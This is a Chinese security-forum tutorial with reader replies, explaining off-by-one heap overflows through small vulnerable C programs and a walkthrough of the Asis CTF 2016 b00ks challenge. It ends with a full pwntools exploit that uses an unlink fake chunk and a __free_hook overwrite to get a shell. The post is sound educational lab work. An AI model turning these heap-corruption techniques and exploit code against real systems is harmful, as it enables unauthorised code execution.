首页
论坛
课程
招聘
雪    币: 2213
活跃值: 活跃值 (2077)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝

[原创]PWN入门(Off-By-One)

2020-6-14 08:39 2913

[原创]PWN入门(Off-By-One)

2020-6-14 08:39
2913

只溢出一个字节,比如定义的数组是 a[4],在操作的时候却操作 a[4],实际上数组最大是到 a[3] 的


利用思路

1、溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。

2、溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。这时可以选择使用 unlink 方法进行处理。另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的后一块(理论上是当前正在 unlink 的块)与当前正在 unlink 的块大小是否相等


首先看一个数组的例子

可以看下面源码,他 for(i=0;i<=size;i++) 里面那个 i<=size 是有问题的,这样会多循环一次

//gcc -g 1.c
int my_gets(char *ptr,int size)
{
    int i;
    for(i=0;i<=size;i++)
    {
        ptr[i]=getchar();
    }
    return i;
}
int main()
{
    void *chunk1,*chunk2;
    chunk1=malloc(16);
    chunk2=malloc(16);
    puts("Get Input:");
    my_gets(chunk1,16);
    return 0;
}

首先 b *main 下个断点,然后运行到第六行也就是等待输入的那块


p ptr 看一下 ptr 指向的是哪一个地址

x/10gx 0x602010-0x10 然后查看一下那一块的内存,减去 0x10 是因为 chunk 前面要记录一些信息,比如前 0x8 如果前一个是空闲的话就记录前一个 chunk 的大小,否则就给前一个用来存数据。后面 0x8 记录的分别是该 chunk 的大小和 A、M、P 标志位

A(NON_MAIN_ARENA)表示 chunk 属于主分配区(1)或者非主分配区(0)

M(IS_MAPPED)表示当前 chunk 是否是由 mmap 分配的,M 为 1 表示该 chunk 是从 mmap 映射区域分配的,否则是从 heap 区域分配的

P(PREV_INUSE)表示前一个 chunk 有 (1) 没有 (0) 被使用,一般来说第一个被分配的 chunk 的这个位会标记为 1,来防止访问到非法内存


image.png


然后再运行的话就要接收我们的输入了,我们输入 17 个字符,以为前面源码中写的 my_gets(chunk1,16); 是 16 个,可以看到把第二个 chunk 的低一字节改成了 0x41


image.png


下面看一个字符串的例子


strlen 在计算长度的时候不会把结束符 '\x00' 计算在内,strcpy 在拷贝的时候会把 '\x00' 也算上,所以就会造成 off by one

//gcc -g 2.c
int main(void)
{
    char buffer[40]="";
    void *chunk1;
    chunk1=malloc(24);
    puts("Get Input");
    gets(buffer);
    if(strlen(buffer)==24)
    {
        strcpy(chunk1,buffer);
    }
    return 0;

}

先 b *main 上下个断点,然后运行到输入的那个位置,在这之前先看一下 chunk 的情况


image.png


输入 24 个 A,等他拷贝完之后,再看一下会发现原本的那低一字节已经被写成 \x00 了


image.png


例题:Asis CTF 2016 b00ks


image.png


首先看一下 create a book 功能:

首先要输一下书名的大小,然后会申请这么大的空间,然后通过 sub_9f5 这个函数往这个空间输入书名


image.png


这个函数的定义有问题,他会多置一个 0

传入的两个参数分别对应上面的 ptr 和 v1-1,地址和大小


image.png


如果我们输入的长度跟之前设定的长度一样的话,因为有个 ++buf,所以 break 之后会多写一个 0

我们再来看一下定义的 book 的结构体


image.png


首先输入作者的名字 32 字节,他会多输一个 \x00,然后被后面的 book 的一系列指针给覆盖掉


image.png


然后当输出 author 的时候就会把覆盖掉的哪一项给输出来


image.png


找到这个结构体的位置之后来查看一下他们,首先是 id,然后是 name 的指针,然后是 des(description)的指针,然后是 des 的 size


image.png

通过这个图片演示一下怎么找?菜鸡找到这些能对应起来的东西感觉很爽!?


经过两个 remove 之后,后面那一块成了 book4 和 book5

remove 这两个可以把 book6 放到前面一点,方便利用


image.png


然后通过 editor 对 book4 的描述进行改写,写成:

p64(0) + p64(0x101) + p64(ptr - 0x18) + p64(ptr - 0x10) + '\x00' * 0xe0 + p64(0x100)


没发送之前:


image.png


发送后:写入的内容总共是 8\8\8\8\224\8,总共 33 gx


image.png


通过对 book4 的 des 进行改写,把 book5 的 des 堆块的 P 状态给覆盖为了 0

同时构造了一个 fake chunk 它的 fd 和 bk 分别是 p64(0x555555758180 - 0x18) 和 p64(0x555555758180 - 0x10),这里这个 0x555555758180 就是 book4 的 des 指针存放的位置


然后对 book5 进行 remove,因为前一个 chunk 是 free 的,所以会 unlink,这时候会把 book4 的 des 指针改成 book4 的指针减去 0x18,然后再次编辑 book4,这时候编辑的实际是 book4 的结构体,通过这次操作把 book4 的 des 指针改成 book6 的 des 指针所在的位置


image.png


写完之后的样子


image.png


这时候修改 book4 的 des 就是修改 book6 的 des 指针,可以通过这个来进行任意位置读写


定义了两个函数

def write_to(addr, content, size):
	edit(4, p64(addr) + p64(size + 0x100) + '\n')
	edit(6, content + '\n')

def read_at(addr):
	edit(4, p64(addr) + '\n')
	cmd(4)
	p.recvuntil('Description: ')
	p.recvuntil('Description: ')
	p.recvuntil('Description: ')
	content = p.recvline()[:-1]
	p.info(content)
	return content

write_to 函数解释

首先通过 edit 4 把 book6 的 des 指针改成了想要修改的那个,在结构体中 des 指针后面是 des 的大小

然后使用 edit 6 的时候就能够编辑 des 指针指向的那个位置了的内容了


read_at 函数解释

首先通过 edit4 把 book6 的 des 指针改成想要看的那一个地址,然后打印出来


有了这两个函数,先把 libc 的地址给泄露出来

libc_leak = u64(read_at(heap_base + 0x11e0).ljust(8, '\x00')) - 0x3c4b78
p.info('libc leak @ 0x%x' % libc_leak)

然后把 free_hook 改成 system

write_to(libc_leak + libc.symbols['__free_hook'], p64(libc_leak + libc.symbols['system']), 0x10)

再去 remove(6) 一下就可以拿到 shell 了,book6 里面之前已经写上,而且写在了 name 那个地方,所以前面改的 des 的指针并不会影响到


完整的 exp

#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8

import sys
import os
import os.path
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
p=process('./b00ks')
#p=remote('node3.buuoj.cn',26386)

def cmd(choice):
    p.recvuntil('> ')
    p.sendline(str(choice))

def create(book_size, book_name, desc_size, desc):
    cmd(1)
    p.recvuntil(': ')
    p.sendline(str(book_size))
    p.recvuntil(': ')
    if len(book_name) == book_size:
        p.send(book_name)
    else:
        p.sendline(book_name)
    p.recvuntil(': ')
    p.sendline(str(desc_size))
    p.recvuntil(': ')
    if len(desc) == desc_size:
        p.send(desc)
    else:
        p.sendline(desc)

def remove(idx):
    cmd(2)
    p.recvuntil(': ')
    p.sendline(str(idx))

def edit(idx, desc):
    cmd(3)
    p.recvuntil(': ')
    p.sendline(str(idx))
    p.recvuntil(': ')
    p.send(desc)

def author_name(author):
    cmd(5)
    p.recvuntil(': ')
    p.send(author)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def main():
    p.recvuntil('name: ')
    p.sendline('x' * (0x20 - 5) + 'leak:')
    create(0x20, 'tmp a', 0x20, 'b') # 1
    cmd(4)
    p.recvuntil('Author: ')
    p.recvuntil('leak:')
    heap_leak = u64(p.recvline().strip().ljust(8, '\x00'))
    p.info('heap leak @ 0x%x' % heap_leak)
    heap_base = heap_leak - 0x1080
    #0x0000555555758080 - 0x1080 = 0x555555757000
    create(0x20, 'buf 1', 0x20, 'desc buf') # 2
    create(0x20, 'buf 2', 0x20, 'desc buf 2') # 3
    remove(2)
    remove(3)
    ptr = heap_base + 0x1180

    payload = p64(0) + p64(0x101) + p64(ptr - 0x18) + p64(ptr - 0x10) + '\x00' * 0xe0 + p64(0x100)
    create(0x20, 'name', 0x108, 'overflow') # 4
    create(0x20, 'name', 0x100 - 0x10, 'target') # 5
    create(0x20, '/bin/sh\x00', 0x200, 'to arbitrary read write') # 6
    edit(4, payload)
    remove(5)
    edit(4, p64(0x30) + p64(4) + p64(heap_base + 0x11a0) + p64(heap_base + 0x10c0) + '\n')

    def write_to(addr, content, size):
        edit(4, p64(addr) + p64(size + 0x100) + '\n')
        edit(6, content + '\n')

    def read_at(addr):
        edit(4, p64(addr) + '\n')
        cmd(4)
        p.recvuntil('Description: ')
        p.recvuntil('Description: ')
        p.recvuntil('Description: ')
        content = p.recvline()[:-1]
        p.info(content)
        return content

    libc_leak = u64(read_at(heap_base + 0x11e0).ljust(8, '\x00')) - 0x3c4b78
    p.info('libc leak @ 0x%x' % libc_leak)
    write_to(libc_leak + libc.symbols['__free_hook'], p64(libc_leak + libc.symbols['system']), 0x10)
    remove(6)
    p.interactive()

if __name__ == '__main__':
    main()

[公告]SDC2020 看雪安全者开发者峰会10月23日将在上海举行!欢迎参加!

最后于 2020-6-14 21:33 被yichen115编辑 ,原因: 上传附件
上传的附件:
最新回复 (6)
雪    币: 9089
活跃值: 活跃值 (432)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-6-14 11:13
2
0
mark,楼主辛苦了
雪    币: 2213
活跃值: 活跃值 (2077)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
yichen115 活跃值 4 2020-6-14 12:22
3
0
pureGavin mark,楼主辛苦了
嘿嘿,整理的笔记
雪    币: 9089
活跃值: 活跃值 (432)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-6-14 21:20
4
0
yichen115 嘿嘿,整理的笔记[em_86]
题目发一下,放到附件里
雪    币: 2213
活跃值: 活跃值 (2077)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
yichen115 活跃值 4 2020-6-14 21:33
5
0
pureGavin 题目发一下,放到附件里
雪    币: 328
活跃值: 活跃值 (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
盛夏的第五章 活跃值 2020-7-25 21:13
6
0
小白看了好久,有一些问题想请教楼主。
1. book2,book3创建又释放的原因是什么?
2. exp文件中的魔数是怎么来的,代表什么意义,像62行和96行。
3. 我在本地用这个exp复现不成功,原因是80行写失败,提示Unable to read new description,不知道为什么。
雪    币: 2213
活跃值: 活跃值 (2077)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
yichen115 活跃值 4 2020-7-26 08:52
7
0
盛夏的第五章 小白看了好久,有一些问题想请教楼主。 1. book2,book3创建又释放的原因是什么? 2. exp文件中的魔数是怎么来的,代表什么意义,像62行和96行。 3. 我在本地用这个exp复现不 ...
师傅可以看一下这篇文章,我当时参考的这一篇https://xz.aliyun.com/t/6087,有两种exp,我用的那种在后面,时间有点久了我都忘了要再看看
游客
登录 | 注册 方可回帖
返回